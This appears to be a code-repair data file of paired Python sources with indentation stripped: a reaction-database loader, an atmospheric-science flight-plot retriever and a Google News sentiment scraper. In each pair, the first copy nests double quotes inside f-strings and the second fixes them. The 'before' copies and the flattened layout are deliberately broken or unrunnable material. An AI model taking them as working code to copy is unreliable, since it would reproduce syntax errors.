def get_base(self, name: str = None) -> Union[Result, Base]:
"""Get base information by name of its type.
Args:
name: Name of the base type.
Returns:
If no name is given, a Result iterator over all the bases.
Otherwise, a single `Base` object.
"""
if name:
query = {"name": name}
else:
query = {}
collection = self._db.base
result = Result(iterator=collection.find(filter=query), item_class=Base)
if name:
try:
return list(result)[0]
except IndexError:
raise IndexError("No bases found in DB")
else:
return result
# older method name
get_one_base = get_base
def load(
self,
data: Union[Dict, List[Dict], DataWrapper, List[DataWrapper]],
rec_type: str = "base",
) -> int:
"""Load a single record or list of records.
Args:
data: Data to load, as a single or list of dictionaries or :class:`DataWrapper` subclass
rec_type: If input is a dict, the type of record. This argument is ignored if the input is
a subclass of DataWrapper.
Returns:
Number of records loaded
"""
is_object = False
if isinstance(data, DataWrapper):
data = [data]
is_object = True
elif isinstance(data, dict):
data = [data]
else:
is_object = isinstance(data[0], DataWrapper)
if is_object:
rec_type = data[0].__class__.__name__.lower()
else:
assert rec_type in self._known_collections
num = 0
for item in data:
coll = getattr(self._db, rec_type)
record = item.json_data if is_object else item
coll.insert_one(self.preprocess_record(record, rec_type))
num += 1
return num
# XXX: This preprocessing overlaps with data_model.DataWrapper subclasses.
# XXX: It should all be moved to one place
@classmethod
def preprocess_record(cls, record, rec_type):
process_func = getattr(cls, f"_process_{rec_type}")
return process_func(record)
@staticmethod
def _process_component(rec):
rec["elements"] = get_elements_from_components([rec["name"]])
return rec
@staticmethod
def _process_reaction(rec):
rec["reactant_elements"] = get_elements_from_components(
rec.get("components", []))
# If reaction_order is not present in parameters, create it by
# copying the stoichiometry (or empty for each phase, if stoich. not found)
if Reaction.NAMES.param in rec:
param = rec[Reaction.NAMES.param]
if Reaction.NAMES.reaction_order not in param:
if Reaction.NAMES.stoich in rec:
param[Reaction.NAMES.reaction_order] = rec[
Reaction.NAMES.stoich].copy()
else:
param[Reaction.NAMES.reaction_order] = {
phase: {} for phase in Reaction.PHASES
}
return rec
@staticmethod
def _process_base(rec):
return rec
@staticmethod
def _process_species(s):
"""Make species match https://jess.murdoch.edu.au/jess_spcdoc.shtml"""
m = re.match(r"([a-zA-Z0-9]+)\s*(\d*[\-+])?", s)
if m is None:
raise ValueError(f"Bad species: {s}")
symbols, input_charge = m.groups()
if input_charge is None:
charge = ""
elif len(input_charge) > 1:
# make 2+ -> +2
num = input_charge[:-1]
sign = input_charge[-1]
charge = f"{sign}{num}"
else:
charge = input_charge
# print(f"{s} -> {symbols}{charge}")
return f"{symbols}{charge}"
def get_elements_from_components(components):
elements = set()
for comp in components:
# print(f"Get elements from: {comp}")
for m in re.finditer(r"[A-Z][a-z]?", comp):
element = comp[m.start() : m.end()]
if element[0] == "K" and len(element) > 1:
pass
else:
elements.add(element)
return list(elements)
|
# -*- coding: utf-8 -*-
"""
mslib.retriever
~~~~~~~~~~~~~~~~~~~~
automation within mss to create for instance a number of the same plots
for several flights or several forecast steps
This file is part of mss.
:copyright: Copyright 2020 Joern Ungermann
:license: APACHE-2.0, see LICENSE for details.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import sys
import argparse
import datetime
import io
import os
import xml
import requests
from fs import open_fs
import PIL.Image
import mslib
import mslib.utils
import mslib.msui
import mslib.msui.mpl_map
import mslib.msui.mss_qt
import mslib.thermolib
import matplotlib.pyplot as plt
TEXT_CONFIG = {
"bbox": dict(boxstyle="round", facecolor="white", alpha=0.5, edgecolor="none"),
"fontweight": "bold", "zorder": 4, "fontsize": 6, "clip_on": True}
def load_from_ftml(filename):
"""Load a flight track from an XML file at <filename>.
"""
_dirname, _name = os.path.split(filename)
_fs = open_fs(_dirname)
datasource = _fs.open(_name)
try:
doc = xml.dom.minidom.parse(datasource)
except xml.parsers.expat.ExpatError as ex:
raise SyntaxError(str(ex))
ft_el = doc.getElementsByTagName("FlightTrack")[0]
waypoints_list = []
for wp_el in ft_el.getElementsByTagName("Waypoint"):
location = wp_el.getAttribute("location")
lat = float(wp_el.getAttribute("lat"))
lon = float(wp_el.getAttribute("lon"))
flightlevel = float(wp_el.getAttribute("flightlevel"))
comments = wp_el.getElementsByTagName("Comments")[0]
# If num of comments is 0(null comment), then return ''
if len(comments.childNodes):
comments = comments.childNodes[0].data.strip()
else:
comments = ''
waypoints_list.append((lat, lon, flightlevel, location, comments))
return waypoints_list
def main():
parser = argparse.ArgumentParser(description="""
This script automatically retrieves and stores a set of plots for the
configured flights. The configuration is placed within the normal
MSS frontend JSON file. E.g.
"automated_plotting": {
"flights": [
["ST25", "01 SADPAP (stereo)", "500,50",
"ST25-joern.ftml",
"2019-07-01T00:00:00Z", "2019-09-01T12:00:00Z"]
],
"hsecs": [
["https://mss-server/campaigns2019",
"ecmwf.PVTropo01", "default", "4.0"],
["https://mss-server/campaigns2019",
"ecmwf.ertel_potential_vorticity_pl", "ertel_potential_vorticity_bh", "200.0"]
],
"vsecs": [
["https://mss-server/campaigns2019",
"ecmwf.VS_ertel_potential_vorticity_ml", "ertel_potential_vorticity_bh"],
["https://mss-server/campaigns2019",
"ecmwf.TroposphereInversionLayer", ""]
]
}
will plot flight "ST25" with configured map section "01 SADPAP (stereo)" and
vertical range 500hPa to 50hPa from the given FTML file for init time
"2019-07-01T00:00:00Z" and valid time "2019-09-01T12:00:00Z". The plots
are defined in the hsecs (horizontal cross-sections) and vsecs (vertical
cross-sections) entries given each the URL of the server, the layer name, the style,
and, for hsec only, the elevation to plot (if necessary).
""")
parser.add_argument("-v", "--version", help="show version", action="store_true", default=False)
parser.add_argument("--debug", help="show debugging log messages on console", action="store_true", default=False)
parser.add_argument("--logfile", help="Specify logfile location. Set to empty string to disable.", action="store",
default=os.path.join(mslib.msui.constants.MSS_CONFIG_PATH, "mss_pyui.log"))
args = parser.parse_args()
if args.version:
print("***********************************************************************")
print("\n Mission Support System (mss_retriever)\n")
print("***********************************************************************")
print("Documentation: http://mss.rtfd.io")
print("Version:", mslib.__version__)
sys.exit()
mslib.utils.setup_logging(args)
config = mslib.utils.config_loader()
num_interpolation_points = config["num_interpolation_points"]
num_labels = config["num_labels"]
tick_index_step = num_interpolation_points // num_labels
fig = plt.figure()
for flight, section, vertical, filename, init_time, time in \
config["automated_plotting"]["flights"]:
params = mslib.utils.get_projection_params(
config["predefined_map_sections"][section]["CRS"].lower())
params["basemap"].update(config["predefined_map_sections"][section]["map"])
wps = load_from_ftml(filename)
wp_lats, wp_lons, wp_locs = [[x[i] for x in wps] for i in [0, 1, 3]]
wp_presss = [mslib.thermolib.flightlevel2pressure(wp[2]) for wp in wps]
for url, layer, style, elevation in config["automated_plotting"]["hsecs"]:
fig.clear()
ax = fig.add_subplot(111, zorder=99)
bm = mslib.msui.mpl_map.MapCanvas(ax=ax, **(params["basemap"]))
# plot path and labels
bm.plot(wp_lons, wp_lats,
color="blue", marker="o", linewidth=2, markerfacecolor="red",
latlon=True, markersize=4, zorder=100)
for i, (lon, lat, loc) in enumerate(zip(wp_lons, wp_lats, wp_locs)):
textlabel = "{:} ".format(loc if loc else str(i))
x, y = bm(lon, lat)
plt.text(x, y, textlabel, **TEXT_CONFIG)
plt.tight_layout()
# retrieve and draw WMS image
ax_bounds = plt.gca().bbox.bounds
width, height = int(round(ax_bounds[2])), int(round(ax_bounds[3]))
bbox = params['basemap']
req = requests.get(
url, auth=tuple(config["WMS_login"][url]),
params={"version": "1.1.1", "request": "GetMap", "format": "image/png",
"exceptions": "application/vnd.ogc.se_xml",
"srs": config["predefined_map_sections"][section]["CRS"],
"layers": layer, "styles": style, "elevation": elevation,
"dim_init_time": init_time, "time": time,
"width": width, "height": height,
"bbox": f"{bbox["llcrnrlon"]},{bbox["llcrnrlat"]},{bbox["urcrnrlon"]},{bbox["urcrnrlat"]}"})
if req.headers['Content-Type'] == "text/xml":
print(flight, section, vertical, filename, init_time, time)
print(url, layer, style, elevation)
print("WMS Error:")
print(req.text)
exit(1)
image_io = io.BytesIO(req.content)
img = PIL.Image.open(image_io)
bm.imshow(img, interpolation="nearest", origin="upper")
bm.drawcoastlines()
bm.drawcountries()
fig.savefig(f"{flight}_{layer}.png")
# prepare vsec plots
path = [(wp[0], wp[1], datetime.datetime.now()) for wp in wps]
lats, lons, _ = mslib.utils.path_points(
path, numpoints=num_interpolation_points + 1, connection="greatcircle")
intermediate_indexes = []
ipoint = 0
for i, (lat, lon) in enumerate(zip(lats, lons)):
if abs(lat - wps[ipoint][0]) < 1E-10 and abs(lon - wps[ipoint][1]) < 1E-10:
intermediate_indexes.append(i)
ipoint += 1
if ipoint >= len(wps):
break
for url, layer, style in config["automated_plotting"]["vsecs"]:
fig.clear()
# setup ticks and labels
ax = fig.add_subplot(111, zorder=99)
ax.set_yscale("log")
p_bot, p_top = [float(x) * 100 for x in vertical.split(",")]
bbox = ",".join(str(x) for x in (num_interpolation_points, p_bot / 100, num_labels, p_top / 100))
ax.grid(b=True)
ax.patch.set_facecolor("None")
pres_maj = mslib.msui.mpl_qtwidget.MplSideViewCanvas._pres_maj
pres_min = mslib.msui.mpl_qtwidget.MplSideViewCanvas._pres_min
major_ticks = pres_maj[(pres_maj <= p_bot) & (pres_maj >= p_top)]
minor_ticks = pres_min[(pres_min <= p_bot) & (pres_min >= p_top)]
labels = [f"{int(_mt / 100)}"
if (_mt / 100.) - int(_mt / 100.) == 0 else f"{float(_mt / 100)}" for _mt in major_ticks]
if len(labels) > 20:
labels = ["" if _x.split(".")[-1][0] in "975" else _x for _x in labels]
elif len(labels) > 10:
labels = ["" if _x.split(".")[-1][0] in "9" else _x for _x in labels]
ax.set_ylabel("pressure (hPa)")
ax.set_yticks(minor_ticks, minor=True)
ax.set_yticks(major_ticks, minor=False)
ax.set_yticklabels([], minor=True, fontsize=10)
ax.set_yticklabels(labels, minor=False, fontsize=10)
ax.set_ylim(p_bot, p_top)
ax.set_xlim(0, num_interpolation_points)
ax.set_xticks(range(0, num_interpolation_points, tick_index_step))
ax.set_xticklabels(
[f"{x[0]:2.1f}, {x[1]:2.1f}"
for x in zip(lats[::tick_index_step], lons[::tick_index_step])],
rotation=25, fontsize=10, horizontalalignment="right")
ax.set_xlabel("lat/lon")
# plot path and waypoint labels
ax.plot(intermediate_indexes, wp_presss,
color="blue", marker="o", linewidth=2, markerfacecolor="red",
markersize=4)
for i, (idx, press, loc) in enumerate(zip(intermediate_indexes, wp_presss, wp_locs)):
textlabel = "{:} ".format(loc if loc else str(i))
plt.text(idx + 1, press, textlabel, rotation=90, **TEXT_CONFIG)
plt.tight_layout()
# retrieve and draw WMS image
ax_bounds = plt.gca().bbox.bounds
width, height = int(round(ax_bounds[2])), int(round(ax_bounds[3]))
req = requests.get(
url, auth=tuple(config["WMS_login"][url]),
params={"version": "1.1.1", "request": "GetMap", "format": "image/png",
"exceptions": "application/vnd.ogc.se_xml",
"srs": "VERT:LOGP", "layers": layer, "styles": style,
"dim_init_time": init_time, "time": time,
"width": width, "height": height,
"path": ",".join(f"{wp[0]:.2f},{wp[1]:.2f}" for wp in wps),
"bbox": bbox})
if req.headers['Content-Type'] == "text/xml":
print(flight, section, vertical, filename, init_time, time)
print(url, layer, style)
print("WMS Error:")
print(req.text)
exit(1)
image_io = io.BytesIO(req.content)
img = PIL.Image.open(image_io)
imgax = fig.add_axes(ax.get_position(), frameon=True,
xticks=[], yticks=[], label="ax2", zorder=0)
imgax.imshow(img, interpolation="nearest", aspect="auto", origin="upper")
imgax.set_xlim(0, img.size[0] - 1)
imgax.set_ylim(img.size[1] - 1, 0)
plt.savefig(f"{flight}_{layer}.png")
if __name__ == "__main__":
main()
| # -*- coding: utf-8 -*-
"""
mslib.retriever
~~~~~~~~~~~~~~~~~~~~
automation within mss to create for instance a number of the same plots
for several flights or several forecast steps
This file is part of mss.
:copyright: Copyright 2020 Joern Ungermann
:license: APACHE-2.0, see LICENSE for details.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import sys
import argparse
import datetime
import io
import os
import xml
import requests
from fs import open_fs
import PIL.Image
import mslib
import mslib.utils
import mslib.msui
import mslib.msui.mpl_map
import mslib.msui.mss_qt
import mslib.thermolib
import matplotlib.pyplot as plt
TEXT_CONFIG = {
"bbox": dict(boxstyle="round", facecolor="white", alpha=0.5, edgecolor="none"),
"fontweight": "bold", "zorder": 4, "fontsize": 6, "clip_on": True}
def load_from_ftml(filename):
"""Load a flight track from an XML file at <filename>.
"""
_dirname, _name = os.path.split(filename)
_fs = open_fs(_dirname)
datasource = _fs.open(_name)
try:
doc = xml.dom.minidom.parse(datasource)
except xml.parsers.expat.ExpatError as ex:
raise SyntaxError(str(ex))
ft_el = doc.getElementsByTagName("FlightTrack")[0]
waypoints_list = []
for wp_el in ft_el.getElementsByTagName("Waypoint"):
location = wp_el.getAttribute("location")
lat = float(wp_el.getAttribute("lat"))
lon = float(wp_el.getAttribute("lon"))
flightlevel = float(wp_el.getAttribute("flightlevel"))
comments = wp_el.getElementsByTagName("Comments")[0]
# If num of comments is 0(null comment), then return ''
if len(comments.childNodes):
comments = comments.childNodes[0].data.strip()
else:
comments = ''
waypoints_list.append((lat, lon, flightlevel, location, comments))
return waypoints_list
def main():
parser = argparse.ArgumentParser(description="""
This script automatically retrieves and stores a set of plots for the
configured flights. The configuration is placed within the normal
MSS frontend JSON file. E.g.
"automated_plotting": {
"flights": [
["ST25", "01 SADPAP (stereo)", "500,50",
"ST25-joern.ftml",
"2019-07-01T00:00:00Z", "2019-09-01T12:00:00Z"]
],
"hsecs": [
["https://mss-server/campaigns2019",
"ecmwf.PVTropo01", "default", "4.0"],
["https://mss-server/campaigns2019",
"ecmwf.ertel_potential_vorticity_pl", "ertel_potential_vorticity_bh", "200.0"]
],
"vsecs": [
["https://mss-server/campaigns2019",
"ecmwf.VS_ertel_potential_vorticity_ml", "ertel_potential_vorticity_bh"],
["https://mss-server/campaigns2019",
"ecmwf.TroposphereInversionLayer", ""]
]
}
will plot flight "ST25" with configured map section "01 SADPAP (stereo)" and
vertical range 500hPa to 50hPa from the given FTML file for init time
"2019-07-01T00:00:00Z" and valid time "2019-09-01T12:00:00Z". The plots
are defined in the hsecs (horizontal cross-sections) and vsecs (vertical
cross-sections) entries given each the URL of the server, the layer name, the style,
and, for hsec only, the elevation to plot (if necessary).
""")
parser.add_argument("-v", "--version", help="show version", action="store_true", default=False)
parser.add_argument("--debug", help="show debugging log messages on console", action="store_true", default=False)
parser.add_argument("--logfile", help="Specify logfile location. Set to empty string to disable.", action="store",
default=os.path.join(mslib.msui.constants.MSS_CONFIG_PATH, "mss_pyui.log"))
args = parser.parse_args()
if args.version:
print("***********************************************************************")
print("\n Mission Support System (mss_retriever)\n")
print("***********************************************************************")
print("Documentation: http://mss.rtfd.io")
print("Version:", mslib.__version__)
sys.exit()
mslib.utils.setup_logging(args)
config = mslib.utils.config_loader()
num_interpolation_points = config["num_interpolation_points"]
num_labels = config["num_labels"]
tick_index_step = num_interpolation_points // num_labels
fig = plt.figure()
for flight, section, vertical, filename, init_time, time in \
config["automated_plotting"]["flights"]:
params = mslib.utils.get_projection_params(
config["predefined_map_sections"][section]["CRS"].lower())
params["basemap"].update(config["predefined_map_sections"][section]["map"])
wps = load_from_ftml(filename)
wp_lats, wp_lons, wp_locs = [[x[i] for x in wps] for i in [0, 1, 3]]
wp_presss = [mslib.thermolib.flightlevel2pressure(wp[2]) for wp in wps]
for url, layer, style, elevation in config["automated_plotting"]["hsecs"]:
fig.clear()
ax = fig.add_subplot(111, zorder=99)
bm = mslib.msui.mpl_map.MapCanvas(ax=ax, **(params["basemap"]))
# plot path and labels
bm.plot(wp_lons, wp_lats,
color="blue", marker="o", linewidth=2, markerfacecolor="red",
latlon=True, markersize=4, zorder=100)
for i, (lon, lat, loc) in enumerate(zip(wp_lons, wp_lats, wp_locs)):
textlabel = "{:} ".format(loc if loc else str(i))
x, y = bm(lon, lat)
plt.text(x, y, textlabel, **TEXT_CONFIG)
plt.tight_layout()
# retrieve and draw WMS image
ax_bounds = plt.gca().bbox.bounds
width, height = int(round(ax_bounds[2])), int(round(ax_bounds[3]))
bbox = params['basemap']
req = requests.get(
url, auth=tuple(config["WMS_login"][url]),
params={"version": "1.1.1", "request": "GetMap", "format": "image/png",
"exceptions": "application/vnd.ogc.se_xml",
"srs": config["predefined_map_sections"][section]["CRS"],
"layers": layer, "styles": style, "elevation": elevation,
"dim_init_time": init_time, "time": time,
"width": width, "height": height,
"bbox": f"{bbox['llcrnrlon']},{bbox['llcrnrlat']},{bbox['urcrnrlon']},{bbox['urcrnrlat']}"})
if req.headers['Content-Type'] == "text/xml":
print(flight, section, vertical, filename, init_time, time)
print(url, layer, style, elevation)
print("WMS Error:")
print(req.text)
exit(1)
image_io = io.BytesIO(req.content)
img = PIL.Image.open(image_io)
bm.imshow(img, interpolation="nearest", origin="upper")
bm.drawcoastlines()
bm.drawcountries()
fig.savefig(f"{flight}_{layer}.png")
# prepare vsec plots
path = [(wp[0], wp[1], datetime.datetime.now()) for wp in wps]
lats, lons, _ = mslib.utils.path_points(
path, numpoints=num_interpolation_points + 1, connection="greatcircle")
intermediate_indexes = []
ipoint = 0
for i, (lat, lon) in enumerate(zip(lats, lons)):
if abs(lat - wps[ipoint][0]) < 1E-10 and abs(lon - wps[ipoint][1]) < 1E-10:
intermediate_indexes.append(i)
ipoint += 1
if ipoint >= len(wps):
break
for url, layer, style in config["automated_plotting"]["vsecs"]:
fig.clear()
# setup ticks and labels
ax = fig.add_subplot(111, zorder=99)
ax.set_yscale("log")
p_bot, p_top = [float(x) * 100 for x in vertical.split(",")]
bbox = ",".join(str(x) for x in (num_interpolation_points, p_bot / 100, num_labels, p_top / 100))
ax.grid(b=True)
ax.patch.set_facecolor("None")
pres_maj = mslib.msui.mpl_qtwidget.MplSideViewCanvas._pres_maj
pres_min = mslib.msui.mpl_qtwidget.MplSideViewCanvas._pres_min
major_ticks = pres_maj[(pres_maj <= p_bot) & (pres_maj >= p_top)]
minor_ticks = pres_min[(pres_min <= p_bot) & (pres_min >= p_top)]
labels = [f"{int(_mt / 100)}"
if (_mt / 100.) - int(_mt / 100.) == 0 else f"{float(_mt / 100)}" for _mt in major_ticks]
if len(labels) > 20:
labels = ["" if _x.split(".")[-1][0] in "975" else _x for _x in labels]
elif len(labels) > 10:
labels = ["" if _x.split(".")[-1][0] in "9" else _x for _x in labels]
ax.set_ylabel("pressure (hPa)")
ax.set_yticks(minor_ticks, minor=True)
ax.set_yticks(major_ticks, minor=False)
ax.set_yticklabels([], minor=True, fontsize=10)
ax.set_yticklabels(labels, minor=False, fontsize=10)
ax.set_ylim(p_bot, p_top)
ax.set_xlim(0, num_interpolation_points)
ax.set_xticks(range(0, num_interpolation_points, tick_index_step))
ax.set_xticklabels(
[f"{x[0]:2.1f}, {x[1]:2.1f}"
for x in zip(lats[::tick_index_step], lons[::tick_index_step])],
rotation=25, fontsize=10, horizontalalignment="right")
ax.set_xlabel("lat/lon")
# plot path and waypoint labels
ax.plot(intermediate_indexes, wp_presss,
color="blue", marker="o", linewidth=2, markerfacecolor="red",
markersize=4)
for i, (idx, press, loc) in enumerate(zip(intermediate_indexes, wp_presss, wp_locs)):
textlabel = "{:} ".format(loc if loc else str(i))
plt.text(idx + 1, press, textlabel, rotation=90, **TEXT_CONFIG)
plt.tight_layout()
# retrieve and draw WMS image
ax_bounds = plt.gca().bbox.bounds
width, height = int(round(ax_bounds[2])), int(round(ax_bounds[3]))
req = requests.get(
url, auth=tuple(config["WMS_login"][url]),
params={"version": "1.1.1", "request": "GetMap", "format": "image/png",
"exceptions": "application/vnd.ogc.se_xml",
"srs": "VERT:LOGP", "layers": layer, "styles": style,
"dim_init_time": init_time, "time": time,
"width": width, "height": height,
"path": ",".join(f"{wp[0]:.2f},{wp[1]:.2f}" for wp in wps),
"bbox": bbox})
if req.headers['Content-Type'] == "text/xml":
print(flight, section, vertical, filename, init_time, time)
print(url, layer, style)
print("WMS Error:")
print(req.text)
exit(1)
image_io = io.BytesIO(req.content)
img = PIL.Image.open(image_io)
imgax = fig.add_axes(ax.get_position(), frameon=True,
xticks=[], yticks=[], label="ax2", zorder=0)
imgax.imshow(img, interpolation="nearest", aspect="auto", origin="upper")
imgax.set_xlim(0, img.size[0] - 1)
imgax.set_ylim(img.size[1] - 1, 0)
plt.savefig(f"{flight}_{layer}.png")
if __name__ == "__main__":
main()
|
import requests
from bs4 import BeautifulSoup
import pickle
import csv
import urllib.request
import json
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
import datetime
import time
import argparse
import os
import matplotlib.pyplot as plt
import logging
import pandas as pd
def sentiment_scores(sentence):
sid_obj = SentimentIntensityAnalyzer()
sentiment_dict = sid_obj.polarity_scores(sentence)
logging.info(f"Overall sentiment dictionary is : {sentiment_dict}")
logging.info(f"sentence was rated as {sentiment_dict["neg"]*100}% Negative")
logging.info(f"sentence was rated as {sentiment_dict["neu"]*100}% Neutral")
logging.info(f"sentence was rated as {sentiment_dict["pos"]*100} Positive")
if sentiment_dict['compound'] >= 0.05 :
logging.info("Positive")
elif sentiment_dict['compound'] <= - 0.05 :
logging.info("Negative")
else :
logging.info("Neutral")
return sentiment_dict['compound']
class Scraper:
def __init__(self, args):
self.set_environment(args)
# dates, date_sentiment = self.load_data(start_date=20180807, end_date=20180820) #for test
dates, date_sentiment = self.load_data()
date_sentiment = self.scrape(dates, date_sentiment)
# self.save_sentiment_csv(dates, date_sentiment)
def set_environment(self, args):
self.TICKER = args.TICKER
self.TICKER_NAME = args.TICKER_NAME
self.DIRECTORY_NAME = args.DIRECTORY_NAME
self.CHROME_WEBDRIVER_PATH = args.CHROME_WEBDRIVER_PATH
def load_data(self, start_date = 20000000, end_date = 20190000):
data_1 = pd.read_csv(r'dow_jones_30_daily_price.csv')
select_stocks_list = [self.TICKER]
data_2 = data_1[data_1.tic.isin(select_stocks_list)][~data_1.datadate.isin(['20010912','20010913'])]
data_3 = data_2[['iid','datadate','tic','prccd','ajexdi']]
data_3['adjcp'] = data_3['prccd'] / data_3['ajexdi']
all_data = data_3[(data_3.datadate > start_date) & (data_3.datadate < end_date)]
dates = all_data['datadate'].values.tolist()
logging.info(f"Dates - {dates}")
date_sentiment = dict()
date_sentiment["datadate"] = dates
date_sentiment["sentiment"] = [0 for date in dates]
return (dates, date_sentiment)
def scrape(self, dates, date_sentiment):
query = "&tbm=nws&ei=2WlNXpSDE66W4-EPi_mtgA8&q=" + self.TICKER_NAME + "&oq=" + self.TICKER_NAME + "&gs_l=psy-ab.3..0l10.5670.5670.0.6280.1.1.0.0.0.0.161.161.0j1.1.0....0...1c.1.64.psy-ab..0.1.161....0._Azay032u5U"
ctr = 0
for date in dates:
if date<20070101:
continue
#check if the JSON file for that date already exists - if yes, skip processing for that day, else process that day
filename = os.path.join(self.DIRECTORY_NAME, str(date) + ".json")
if (os.path.exists(filename)):
logging.info(f"{filename} already exists.")
continue
else:
str_date = str(date)
str_next_date = str_date
logging.info(f"Dates - {str_date} {str_next_date}")
url = "https://www.google.com/search?biw=1658&bih=948&tbs=cdr%3A1%2Ccd_min%3A" + str(str_date[4:6]) + "%2F" + str(str_date[6:]) + "%2F" + str(str_date[0:4]) + "%2Ccd_max%3A" + str(str_next_date[4:6])+ "%2F" + str(str_next_date[6:]) + "%2F" + str(str_next_date[0:4]) + query
logging.info(f"URL - {url}")
options = webdriver.ChromeOptions()
options.add_argument("--start-maximized")
options.add_argument("--headless")
driver = webdriver.Chrome(options=options, executable_path=self.CHROME_WEBDRIVER_PATH)
driver.get(url)
pause_time = 0
last_height = driver.execute_script("return document.body.scrollHeight")
new_height = last_height
pages = driver.find_elements_by_xpath("//*[@id='foot']/span/div/table/tbody/tr/td")
pages = pages[1:len(pages)-1]
logging.info(f"Pages - {pages}")
counter = 1
logging.info(f"Page Count - {len(pages)}")
#check this
if len(pages) == 0:
pages = [0]
hrefs = []
for page in pages:
driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
time.sleep(pause_time)
link_tags = driver.find_elements_by_xpath("//*[@id='rso']//a")
logging.info(f"Link Tags - {link_tags}")
for tag in link_tags:
logging.info(tag)
if (len(tag.get_attribute('class')) == 0 and (len(tag.text)!=0) and (tag.text != "Create alert") and (tag.text != "Reset search tools") and (tag.text != "Previous") and (tag.text != "Next")):
heading = tag.text.split("\n")[1].encode('ascii', 'ignore').decode("utf-8")
logging.info(f"Heading - {heading}")
hrefs.append(heading)
logging.info(f"Sentence - {tag.text}")
if (new_height == last_height) and (counter < len(pages)):
driver.find_element_by_xpath("//span[text()='Next']").click()
counter += 1
new_height = driver.execute_script("return document.body.scrollHeight")
last_height = new_height
driver.close()
polarity = self.calculate_polarity(hrefs)
self.update_sentiment(ctr, date, polarity, date_sentiment)
ctr += 1
self.save_scraped_data(filename, hrefs, polarity, date, date_sentiment)
return date_sentiment
def update_sentiment(self, counter, date, polarity, date_sentiment):
date_sentiment["sentiment"][counter] = polarity
def calculate_polarity(self, sentences):
polarity = 0
polarities = []
for sentence in sentences:
p = sentiment_scores(sentence)
polarity += p
polarities.append(str(p))
logging.info(f"{sentence} - {polarity}")
if len(sentences) != 0:
polarity = polarity/len(sentences)
return polarity
def save_scraped_data(self, filename, sentences, polarity, date, date_sentiment):
if not os.path.exists(self.DIRECTORY_NAME):
try:
os.mkdir(self.DIRECTORY_NAME)
except OSError:
logging.info("Creation of the directory {} failed".format(os.path.abspath(self.DIRECTORY_NAME)))
else:
logging.info("Successfully created the directory {} ".format(os.path.abspath(self.DIRECTORY_NAME)))
sentiments = date_sentiment["sentiment"]
logging.info(f"JSON Filename - {filename}")
ticker_headline_dict = {
"headlines_count": len(sentences),
"headlines": sentences,
"polarity": polarity
}
logging.info(f"JSON Data - {ticker_headline_dict}")
with open(filename, 'w') as json_file:
headlines_obj = json.dumps(ticker_headline_dict, indent=4, sort_keys=True) #, csv_file, indent=4, sort_keys=True)
json_file.write(headlines_obj)
def save_sentiment_csv(self, dates, date_sentiment):
#iterate through all JSON within company directory
#store polarity in CSV file for all dates
counter = 0
for date in dates:
json_filename = os.path.join(self.DIRECTORY_NAME, str(date) + ".json")
if(os.path.exists(json_filename)):
with open(json_filename) as f:
data = json.load(f)
date_sentiment['sentiment'][counter] = data['polarity']
counter += 1
logging.info(f"Date Sentiment - {date_sentiment}")
dates_df = pd.DataFrame(date_sentiment)
SENTIMENT_FILE_PATH = os.path.join(self.DIRECTORY_NAME, 'sentiment_' + self.TICKER + '.csv')
dates_df.to_csv(SENTIMENT_FILE_PATH)
logging.info(f"Saved Sentiment CSV - {SENTIMENT_FILE_PATH}") | import requests
from bs4 import BeautifulSoup
import pickle
import csv
import urllib.request
import json
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
import datetime
import time
import argparse
import os
import matplotlib.pyplot as plt
import logging
import pandas as pd
def sentiment_scores(sentence):
sid_obj = SentimentIntensityAnalyzer()
sentiment_dict = sid_obj.polarity_scores(sentence)
logging.info(f"Overall sentiment dictionary is : {sentiment_dict}")
logging.info(f"sentence was rated as {sentiment_dict['neg']*100}% Negative")
logging.info(f"sentence was rated as {sentiment_dict['neu']*100}% Neutral")
logging.info(f"sentence was rated as {sentiment_dict['pos']*100} Positive")
if sentiment_dict['compound'] >= 0.05 :
logging.info("Positive")
elif sentiment_dict['compound'] <= - 0.05 :
logging.info("Negative")
else :
logging.info("Neutral")
return sentiment_dict['compound']
class Scraper:
def __init__(self, args):
self.set_environment(args)
# dates, date_sentiment = self.load_data(start_date=20180807, end_date=20180820) #for test
dates, date_sentiment = self.load_data()
date_sentiment = self.scrape(dates, date_sentiment)
# self.save_sentiment_csv(dates, date_sentiment)
def set_environment(self, args):
self.TICKER = args.TICKER
self.TICKER_NAME = args.TICKER_NAME
self.DIRECTORY_NAME = args.DIRECTORY_NAME
self.CHROME_WEBDRIVER_PATH = args.CHROME_WEBDRIVER_PATH
def load_data(self, start_date = 20000000, end_date = 20190000):
data_1 = pd.read_csv(r'dow_jones_30_daily_price.csv')
select_stocks_list = [self.TICKER]
data_2 = data_1[data_1.tic.isin(select_stocks_list)][~data_1.datadate.isin(['20010912','20010913'])]
data_3 = data_2[['iid','datadate','tic','prccd','ajexdi']]
data_3['adjcp'] = data_3['prccd'] / data_3['ajexdi']
all_data = data_3[(data_3.datadate > start_date) & (data_3.datadate < end_date)]
dates = all_data['datadate'].values.tolist()
logging.info(f"Dates - {dates}")
date_sentiment = dict()
date_sentiment["datadate"] = dates
date_sentiment["sentiment"] = [0 for date in dates]
return (dates, date_sentiment)
def scrape(self, dates, date_sentiment):
query = "&tbm=nws&ei=2WlNXpSDE66W4-EPi_mtgA8&q=" + self.TICKER_NAME + "&oq=" + self.TICKER_NAME + "&gs_l=psy-ab.3..0l10.5670.5670.0.6280.1.1.0.0.0.0.161.161.0j1.1.0....0...1c.1.64.psy-ab..0.1.161....0._Azay032u5U"
ctr = 0
for date in dates:
if date<20070101:
continue
#check if the JSON file for that date already exists - if yes, skip processing for that day, else process that day
filename = os.path.join(self.DIRECTORY_NAME, str(date) + ".json")
